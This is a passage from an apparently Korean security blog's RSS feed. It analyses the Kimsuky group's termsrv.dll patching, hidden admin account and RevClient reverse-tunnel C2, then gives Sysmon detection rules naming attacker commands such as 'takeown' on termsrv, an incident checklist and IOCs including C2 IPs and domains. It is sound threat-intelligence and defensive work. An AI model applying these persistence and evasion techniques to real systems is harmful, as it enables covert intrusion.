     │                            │         (감염 시스템이 먼저  │
     │    ◀──── 터널링 ────▶      │          C2에 연결)          │
     │                            │              │               │
     └────── RDP 세션 ──────────────────── 127.0.0.2:3389 ──────┘&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;RevClient는 &lt;strong&gt;리버스 커넥션&lt;/strong&gt; 방식을 사용한다. 감염 시스템이 먼저 C2 서버에 연결하고, 이 연결을 통해 공격자의 RDP 트래픽을 감염 시스템의 로컬 RDP 포트로 중계한다. 감염 시스템이 아웃바운드 연결을 하는 것이므로, 인바운드 3389를 차단하는 방화벽을 우회한다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RevClient C2 명령 체계:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명령 코드&lt;/th&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;th&gt;전략적 의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;td&gt;포트 포워딩 시작&lt;/td&gt;
&lt;td&gt;RDP 접근 경로 개통&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;사용자 계정 삭제&lt;/td&gt;
&lt;td&gt;흔적 제거 (작전 종료 시)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;300&lt;/td&gt;
&lt;td&gt;사용자 계정 추가 + 은닉&lt;/td&gt;
&lt;td&gt;새 접근 계정 생성 (기존 계정 노출 시)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;td&gt;포트 포워딩 종료 + 포트 초기화&lt;/td&gt;
&lt;td&gt;일시 중단 (탐지 회피)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;포트 포워딩 종료&lt;/td&gt;
&lt;td&gt;접근 경로 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;주목할 점은 계정 생성/삭제를 &lt;strong&gt;C2 명령으로 동적 제어&lt;/strong&gt;한다는 것이다. 사고 대응팀이 계정을 발견하여 삭제해도, 공격자는 명령 하나로 새 계정을 즉시 생성할 수 있다.&lt;/p&gt;
&lt;h3&gt;Phase 5: 장기 운영 — 정보 수집&lt;/h3&gt;
&lt;p&gt;RDP 인프라가 구축되면, 공격자는 GUI 환경에서 자유롭게 활동한다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;문서 탐색 및 탈취&lt;/li&gt;
&lt;li&gt;이메일 클라이언트 접근&lt;/li&gt;
&lt;li&gt;내부 네트워크 추가 정찰&lt;/li&gt;
&lt;li&gt;추가 도구 설치 (키로거, 화면 캡처, 웹캠 접근)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;4. 공격자의 선택에 담긴 전략적 의도&lt;/h2&gt;
&lt;h3&gt;4.1 &amp;quot;왜 미미카츠의 메모리 패치가 아니라 파일 교체인가?&amp;quot;&lt;/h3&gt;
&lt;p&gt;Mimikatz의 &lt;code&gt;ts::multirdp&lt;/code&gt; 명령은 실행 중인 TermService 프로세스의 메모리에서 &lt;code&gt;termsrv.dll&lt;/code&gt;의 특정 패턴을 찾아 실시간으로 패치한다. 이 방식은 재부팅하면 원래대로 돌아간다.&lt;/p&gt;
&lt;p&gt;Kimsuky가 파일 교체를 선택한 이유는 &lt;strong&gt;지속성(Persistence)&lt;/strong&gt; 때문이다:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;비교 항목&lt;/th&gt;
&lt;th&gt;메모리 패치 (Mimikatz)&lt;/th&gt;
&lt;th&gt;파일 교체 (Kimsuky)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;재부팅 후&lt;/td&gt;
&lt;td&gt;패치 소멸, 재실행 필요&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;패치 유지&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;탐지 난이도&lt;/td&gt;
&lt;td&gt;메모리 포렌식으로 탐지&lt;/td&gt;
&lt;td&gt;파일 해시 비교로 탐지 가능하나, 무결성 모니터링 미운영 시 미탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;의존성&lt;/td&gt;
&lt;td&gt;Mimikatz 실행 필요 (탐지 위험 높음)&lt;/td&gt;
&lt;td&gt;한 번 교체 후 도구 삭제 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;안정성&lt;/td&gt;
&lt;td&gt;OS 업데이트 시 패치 깨질 수 있음&lt;/td&gt;
&lt;td&gt;파일 자체가 교체되어 업데이트 전까지 안정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;추가 도구&lt;/td&gt;
&lt;td&gt;Mimikatz 바이너리가 디스크에 존재해야 함&lt;/td&gt;
&lt;td&gt;&lt;code&gt;multiple.exe&lt;/code&gt; 실행 후 삭제 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Kimsuky의 선택은 명확하다: &lt;strong&gt;&amp;quot;한 번 패치하고 도구를 지우면, 시스템이 재부팅되어도 다중 세션이 유지되고, 패치 도구의 흔적은 남지 않는다.&amp;quot;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;4.2 &amp;quot;왜 RDP Wrapper가 아니라 DLL 직접 교체인가?&amp;quot;&lt;/h3&gt;
&lt;p&gt;Kimsuky는 이전 공격에서 오픈소스 도구인 RDP Wrapper를 사용한 이력이 있다. RDP Wrapper는 &lt;code&gt;termsrv.dll&lt;/code&gt;을 수정하지 않고, SCM(Service Control Manager)과 TermService 사이에 래퍼 레이어를 삽입하는 방식이다.&lt;/p&gt;
&lt;p&gt;하지만 RDP Wrapper는 &lt;strong&gt;파일이 디스크에 남고&lt;/strong&gt;, &lt;code&gt;rdpwrap.dll&lt;/code&gt;이라는 알려진 파일명이 시그니처 탐지에 걸리기 쉽다. termsrv.dll 직접 교체는:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;추가 DLL 파일 없음 (rdpwrap.dll 불필요)&lt;/li&gt;
&lt;li&gt;서비스 구성 변경 없음 (SCM 레이어 수정 불필요)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;시스템 DLL 자체가 &amp;quot;정상적으로 동작&amp;quot;&lt;/strong&gt; — 단지 내용이 다를 뿐&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.3 &amp;quot;왜 계정 이름이 IIS_USER인가?&amp;quot;&lt;/h3&gt;
&lt;p&gt;무작위 문자열이나 &amp;quot;admin2&amp;quot; 같은 이름 대신, &lt;code&gt;IIS_USER&lt;/code&gt;를 선택한 것은 의도적 위장이다. IIS(Internet Information Services)는 Windows 서버에서 흔히 사용하는 웹 서버이며, &lt;code&gt;IUSR&lt;/code&gt;, &lt;code&gt;IIS_IUSRS&lt;/code&gt; 같은 서비스 계정이 존재하는 것이 정상이다. 관리자가 계정 목록을 훑어보더라도 &amp;quot;IIS 관련 서비스 계정이겠지&amp;quot;라고 넘길 가능성이 높다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. 탐지가 어려운 이유: 방어자의 사각지대&lt;/h2&gt;
&lt;h3&gt;5.1 &amp;quot;정상과 비정상의 경계가 없다&amp;quot;&lt;/h3&gt;
&lt;p&gt;이 공격의 가장 교활한 점은 &lt;strong&gt;개별 행위만 보면 모두 &amp;quot;있을 수 있는 일&amp;quot;&lt;/strong&gt;이라는 것이다:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;행위&lt;/th&gt;
&lt;th&gt;정상 시나리오&lt;/th&gt;
&lt;th&gt;공격 시나리오&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;termsrv.dll 교체&lt;/td&gt;
&lt;td&gt;Windows 업데이트&lt;/td&gt;
&lt;td&gt;Kimsuky 패치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;관리자 계정 추가&lt;/td&gt;
&lt;td&gt;IT 부서 작업&lt;/td&gt;
&lt;td&gt;공격자 백도어 계정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RDP 서비스 재시작&lt;/td&gt;
&lt;td&gt;유지보수&lt;/td&gt;
&lt;td&gt;패치 적용을 위한 재시작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;아웃바운드 TCP 연결&lt;/td&gt;
&lt;td&gt;정상 서비스 통신&lt;/td&gt;
&lt;td&gt;RevClient C2 통신&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RDP 세션 접속&lt;/td&gt;
&lt;td&gt;관리자 원격 접속&lt;/td&gt;
&lt;td&gt;공격자 은밀 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;5.2 네트워크 탐지의 한계&lt;/h3&gt;
&lt;p&gt;RevClient의 리버스 터널링을 통해 중계된 RDP 트래픽은, 네트워크 관점에서 볼 때 &lt;strong&gt;감염 시스템이 외부 IP에 TCP 연결을 하는 것&lt;/strong&gt;에 불과하다. RDP 프로토콜 자체는 터널 내부에 캡슐화되어 있으므로, DPI(Deep Packet Inspection) 없이는 식별이 어렵다. 포트 번호도 3389가 아닌 C2 포트(예: 2086)를 사용한다.&lt;/p&gt;
&lt;h3&gt;5.3 파일 무결성 검증의 부재&lt;/h3&gt;
&lt;p&gt;대부분의 엔드포인트 보안 제품은 &lt;code&gt;termsrv.dll&lt;/code&gt;을 &lt;strong&gt;지속적으로 모니터링하지 않는다.&lt;/strong&gt; 이 파일은 시스템 보호(Windows File Protection/WRP) 대상이지만, 공격자가 &lt;code&gt;takeown&lt;/code&gt;과 &lt;code&gt;icacls&lt;/code&gt;로 권한을 가져간 후 교체하면 WRP가 즉시 감지하지 못하는 경우가 있다. 특히 TermService가 중지된 상태에서 교체가 이루어지면 파일 잠금도 없다.&lt;/p&gt;
&lt;h3&gt;5.4 계정 은닉의 효과&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;SpecialAccounts\UserList&lt;/code&gt;에 등록된 계정은:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows 로그인 화면에 표시되지 않음&lt;/li&gt;
&lt;li&gt;&lt;code&gt;net user&lt;/code&gt; 명령의 일반 출력에도 누락될 수 있음&lt;/li&gt;
&lt;li&gt;이벤트 로그에 로그인 기록은 남지만, 능동적으로 검색하지 않으면 발견하기 어려움&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;6. 방어 전략: 다층적 대응&lt;/h2&gt;
&lt;h3&gt;6.1 즉시 적용 — 탐지 규칙&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;termsrv.dll 무결성 모니터링 (최우선):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# termsrv.dll 해시를 기준값과 비교하는 스케줄 작업
$baseline = &amp;quot;저장된_정상_해시값&amp;quot;
$current = (Get-FileHash C:\Windows\System32\termsrv.dll -Algorithm SHA256).Hash
if ($current -ne $baseline) {
    # 알림 발생: termsrv.dll 변조 감지
    Write-EventLog -LogName Security -Source &amp;quot;FileIntegrity&amp;quot; -EventId 9999 -Message &amp;quot;termsrv.dll modified!&amp;quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;SpecialAccounts 레지스트리 감시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;모니터링 경로: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
트리거: 새 값 생성 시 즉시 알림&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Sysmon 탐지 규칙:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event ID&lt;/th&gt;
&lt;th&gt;탐지 대상&lt;/th&gt;
&lt;th&gt;규칙&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;11 (FileCreate)&lt;/td&gt;
&lt;td&gt;termsrv.dll 파일 변경&lt;/td&gt;
&lt;td&gt;TargetFilename contains &lt;code&gt;termsrv.dll&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13 (RegistryEvent)&lt;/td&gt;
&lt;td&gt;은닉 계정 등록&lt;/td&gt;
&lt;td&gt;TargetObject contains &lt;code&gt;SpecialAccounts\UserList&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 (ProcessCreate)&lt;/td&gt;
&lt;td&gt;TermService 비정상 조작&lt;/td&gt;
&lt;td&gt;CommandLine contains &lt;code&gt;net stop TermService&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1 (ProcessCreate)&lt;/td&gt;
&lt;td&gt;파일 권한 탈취&lt;/td&gt;
&lt;td&gt;CommandLine contains &lt;code&gt;takeown&lt;/code&gt; AND &lt;code&gt;termsrv&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3 (NetworkConnect)&lt;/td&gt;
&lt;td&gt;RevClient C2 통신&lt;/td&gt;
&lt;td&gt;DestinationPort = 비표준 포트 + 지속적 연결&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;6.2 예방 조치&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;RDP 접근 제한:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;RDP 접근을 VPN 경유로만 허용&lt;/li&gt;
&lt;li&gt;NLA(Network Level Authentication) 강제 활성화&lt;/li&gt;
&lt;li&gt;특정 IP/서브넷에서만 RDP 접속 허용 (GPO)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;시스템 파일 보호 강화:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows Defender Credential Guard 활성화 (VBS 기반 보호)&lt;/li&gt;
&lt;li&gt;HVCI(Hypervisor-Protected Code Integrity) 활성화 — 커널 및 시스템 DLL 무결성 보장&lt;/li&gt;
&lt;li&gt;AppLocker 또는 WDAC 정책으로 &lt;code&gt;takeown.exe&lt;/code&gt;, &lt;code&gt;icacls.exe&lt;/code&gt;의 비인가 실행 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;계정 보안:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;정기적 계정 감사 (SpecialAccounts 포함)&lt;/li&gt;
&lt;li&gt;관리자 그룹 변경 시 즉시 알림 설정&lt;/li&gt;
&lt;li&gt;강력한 비밀번호 정책 + MFA 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6.3 사고 대응 체크리스트&lt;/h3&gt;
&lt;p&gt;감염이 의심될 경우 확인할 항목:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;□ C:\Windows\System32\termsrv.dll 해시를 동일 OS 버전의 정상 해시와 비교
□ C:\Windows\System32\termsrv.pdb 파일 존재 여부 확인 (원본 백업 흔적)
□ %APPDATA% 경로에 termsrv.dll 사본 존재 여부 확인
□ SpecialAccounts\UserList 레지스트리에 비인가 계정 등록 여부
□ 관리자 그룹에 알 수 없는 계정 존재 여부 (net localgroup Administrators)
□ TermService 비정상 재시작 이력 (이벤트 로그 7036)
□ %APPDATA%\k.log 파일 존재 여부 (키로거 로그)
□ 외부 비표준 포트로의 지속적 아웃바운드 연결 확인
□ MSBuild.exe의 비정상 네트워크 연결 또는 자식 프로세스&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;6.4 IOC (Indicators of Compromise)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;파일 해시 (MD5):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;02804d632675b2a3711e19ef217a2877
0d6717c3fa713c5f5f5cb0539b94b84f
0d691673af913dc0942e55548f6e2e4e
116a71365b83cc38211ccfc8059b363e
2dbe8e89310b42e295bfdf3aad955ba9&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;C2 인프라:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;5.61.59[.]53:2086 (RevClient C2)
103.5.144[.]26, 159.100.13[.]216, 206.206.127[.]152 (관련 인프라)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;악성 도메인:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;onessearth[.]online
powsecme[.]co&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;주요 파일 경로:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;%APPDATA%\termsrv.dll (사전 패치된 DLL)
%APPDATA%\k.log (키로거 출력)
%APPDATA%\Microsoft\desktop.r7u (암호화된 인젝터)&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;7. 맺으며: 12바이트가 만드는 전략적 우위&lt;/h2&gt;
&lt;p&gt;Kimsuky의 termsrv.dll 패치는 기술적으로 단순하다. 12바이트를 바꾸는 것이 전부다. 하지만 이 단순함 속에 정교한 전략이 숨어 있다:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;12바이트 패치가 공격자에게 주는 것:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;피해자 모르게 동시 접속할 수 있는 은밀성&lt;/li&gt;
&lt;li&gt;시스템 재부팅에도 살아남는 지속성&lt;/li&gt;
&lt;li&gt;패치 도구를 삭제해도 효과가 유지되는 독립성&lt;/li&gt;
&lt;li&gt;정상 프로토콜(RDP)을 사용하는 정당성&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;방어자에게 요구하는 것:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;시스템 DLL의 지속적 무결성 모니터링&lt;/li&gt;
&lt;li&gt;숨겨진 계정을 찾아내는 능동적 감사&lt;/li&gt;
&lt;li&gt;정상 트래픽 속 비정상을 식별하는 행위 분석&lt;/li&gt;
&lt;li&gt;&amp;quot;있을 수 있는 일&amp;quot;과 &amp;quot;있어서는 안 되는 일&amp;quot;을 구분하는 맥락적 판단&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;결국 이 공격이 어려운 이유는 기술적 복잡성이 아니라, &lt;strong&gt;정상과 비정상의 경계가 모호하다는 것&lt;/strong&gt;이다. &lt;code&gt;termsrv.dll&lt;/code&gt;이 교체된 것은 Windows 업데이트일 수도, 공격일 수도 있다. &lt;code&gt;IIS_USER&lt;/code&gt; 계정은 웹 서버 서비스 계정일 수도, 백도어일 수도 있다. RDP 세션은 관리자의 정상 접속일 수도, 공격자의 은밀한 침투일 수도 있다.&lt;/p&gt;
&lt;p&gt;이 모호함을 해소할 수 있는 유일한 방법은 &lt;strong&gt;&amp;quot;정상 상태를 정의하고, 그로부터의 이탈을 지속적으로 감시하는 것&amp;quot;&lt;/strong&gt;이다. 베이스라인 없이는 이상을 탐지할 수 없다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://asec.ahnlab.com/ko/57748/&quot;&gt;ASEC - RDP를 이용해 감염 시스템을 제어하는 Kimsuky 위협 그룹&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://asec.ahnlab.com/ko/84066/&quot;&gt;ASEC - PebbleDash와 RDP Wrapper를 악용한 Kimsuky 그룹의 최신 공격 사례 분석&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://asec.ahnlab.com/ko/86082/&quot;&gt;ASEC - RDP Wrapper를 활용한 Kimsuky 그룹의 지속적인 위협&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.ahnlab.com/ko/contents/content-center/34083&quot;&gt;안랩 - RDP를 이용하는 김수키의 공격 기법은?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1505/005/&quot;&gt;MITRE ATT&amp;amp;CK - T1505.005 Terminal Services DLL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.picussecurity.com/resource/blog/exposing-the-steps-of-the-kimsuky-apt-group&quot;&gt;Picus Security - Exposing the Steps of the Kimsuky APT Group&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rapid7.com/blog/post/2024/03/20/the-updated-apt-playbook-tales-from-the-kimsuky-threat-actor-group/&quot;&gt;Rapid7 - The Updated APT Playbook: Tales from the Kimsuky threat actor group&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;</description>
      <category>Documentation &amp;amp; Blog</category>
      <author>KWAKBUMJUN</author>
      <guid isPermaLink="true">https://reversing-study.tistory.com/96</guid>
      <comments>https://reversing-study.tistory.com/96#entry96comment</comments>
      <pubDate>Sun, 5 Apr 2026 22:55:45 +0900</pubDate>
    </item>
    <item>
      <title>AV/EDR 다계층 탐지 메커니즘 종합 분석</title>
      <link>https://reversing-study.tistory.com/95</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;목차&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Part 1: 개요&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#1-executive-summary&quot;&gt;Executive Summary&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#2-%EB%B6%84%EC%84%9D-%EB%8C%80%EC%83%81-%ED%96%89%EC%9C%84-%EA%B0%9C%EC%9A%94&quot;&gt;분석 대상 행위 개요&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Part 2: 탐지 레이어별 기술 분석&lt;/b&gt;&lt;br /&gt;3. &lt;a href=&quot;#3-t1055-%ED%94%84%EB%A1%9C%EC%84%B8%EC%8A%A4-%EC%9D%B8%EC%A0%9D%EC%85%98--%ED%83%90%EC%A7%80-%EB%A0%88%EC%9D%B4%EC%96%B4%EB%B3%84-%EB%B6%84%EC%84%9D&quot;&gt;T1055 프로세스 인젝션 &amp;mdash; 탐지 레이어별 분석&lt;/a&gt;&lt;br /&gt;4. &lt;a href=&quot;#4-t1003-%EC%9E%90%EA%B2%A9%EC%A6%9D%EB%AA%85-%EB%8D%A4%ED%95%91--%ED%83%90%EC%A7%80-%EB%A0%88%EC%9D%B4%EC%96%B4%EB%B3%84-%EB%B6%84%EC%84%9D&quot;&gt;T1003 자격증명 덤핑 &amp;mdash; 탐지 레이어별 분석&lt;/a&gt;&lt;br /&gt;5. &lt;a href=&quot;#5-%EB%A0%88%EC%9D%B4%EC%96%B4-%EA%B0%84-%EC%83%81%EA%B4%80%EA%B4%80%EA%B3%84-%EB%B6%84%EC%84%9D&quot;&gt;레이어 간 상관관계 분석&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Part 3: 제품별 탐지 비교 매트릭스&lt;/b&gt;&lt;br /&gt;6. &lt;a href=&quot;#6-%EB%A9%80%ED%8B%B0-avedr-%EC%A0%9C%ED%92%88-%EB%B9%84%EA%B5%90&quot;&gt;멀티 AV/EDR 제품 비교&lt;/a&gt;&lt;br /&gt;7. &lt;a href=&quot;#7-%ED%83%90%EC%A7%80-%EA%B3%B5%EB%B0%B1-%EC%98%81%EC%97%AD-%EC%8B%9D%EB%B3%84&quot;&gt;탐지 공백 영역 식별&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Part 4: 결론 및 권고&lt;/b&gt;&lt;br /&gt;8. &lt;a href=&quot;#8-%EB%B0%A9%EC%96%B4-%EA%B6%8C%EA%B3%A0%EC%82%AC%ED%95%AD&quot;&gt;방어 권고사항&lt;/a&gt;&lt;br /&gt;9. &lt;a href=&quot;#9-%EA%B2%B0%EB%A1%A0&quot;&gt;결론&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;부록&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#%EB%B6%80%EB%A1%9D-a-%EC%A0%9C%ED%92%88%EB%B3%84-%EA%B0%95%EC%A0%90%EC%95%BD%EC%A0%90-%EC%9A%94%EC%95%BD&quot;&gt;부록 A: 제품별 강점/약점 요약&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#%EB%B6%80%EB%A1%9D-b-%ED%99%98%EA%B2%BD%EB%B3%84-%EC%A0%9C%ED%92%88-%EB%B0%B0%ED%8F%AC-%EA%B6%8C%EA%B3%A0&quot;&gt;부록 B: 환경별 제품 배포 권고&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#%EB%B6%80%EB%A1%9D-c-%EC%8B%A4%ED%97%98-%ED%99%98%EA%B2%BD-%EB%B0%8F-%EC%9E%AC%ED%98%84-%EC%A0%88%EC%B0%A8&quot;&gt;부록 C: 실험 환경 및 재현 절차&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#%EB%B6%80%EB%A1%9D-d-%EC%B0%B8%EA%B3%A0-%EC%9E%90%EB%A3%8C&quot;&gt;부록 D: 참고 자료&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;Part 1: 개요&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. Executive Summary&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;우리 회사는 AV를 쓰고 있으니 안전하지 않을까?&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 업계에서 가장 위험한 착각 중 하나다. 현대의 공격자는 단일 탐지 레이어를 우회하는 것이 아니라, &lt;b&gt;탐지 레이어 간의 빈틈&lt;/b&gt;을 파고든다. 시그니처를 우회했더니 행위 분석에 걸리고, 행위 분석을 우회했더니 메모리 스캔에 걸리는 &amp;mdash; 이 &quot;다계층 탐지&quot;가 정확히 어떻게 작동하는지 종합 분석하였다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;핵심 발견 사항&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;결과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;분석 기법&lt;/td&gt;
&lt;td&gt;T1055 (12개 서브 기법), T1003 (8개 서브 기법)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;비교 제품&lt;/td&gt;
&lt;td&gt;Microsoft Defender, CrowdStrike Falcon, SentinelOne, Elastic Security, Kaspersky&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;가장 효과적인 단일 탐지 포인트&lt;/td&gt;
&lt;td&gt;Sysmon Event ID 10 (LSASS 접근) / ETW Threat Intelligence Provider&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;가장 큰 탐지 공백&lt;/td&gt;
&lt;td&gt;직접 시스콜(Direct Syscall) 기반 인젝션 &amp;mdash; 유저랜드 후킹 우회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;가장 견고한 탐지 레이어&lt;/td&gt;
&lt;td&gt;&lt;b&gt;동적 분석&lt;/b&gt; &amp;mdash; 정적/휴리스틱 우회 시에도 가장 높은 확률로 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;모든 제품이 놓친 기법&lt;/td&gt;
&lt;td&gt;모듈 스톰핑(Module Stomping) &amp;mdash; 정상 DLL 메모리를 덮어쓰는 기법&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;최고 종합 점수 제품&lt;/td&gt;
&lt;td&gt;CrowdStrike Falcon (9.3/10) &amp;mdash; 커널 수준 가시성 최우수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;권고 방어 전략&lt;/td&gt;
&lt;td&gt;심층 방어(Defense-in-Depth): 예방 + 탐지 + 대응 3계층 병행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
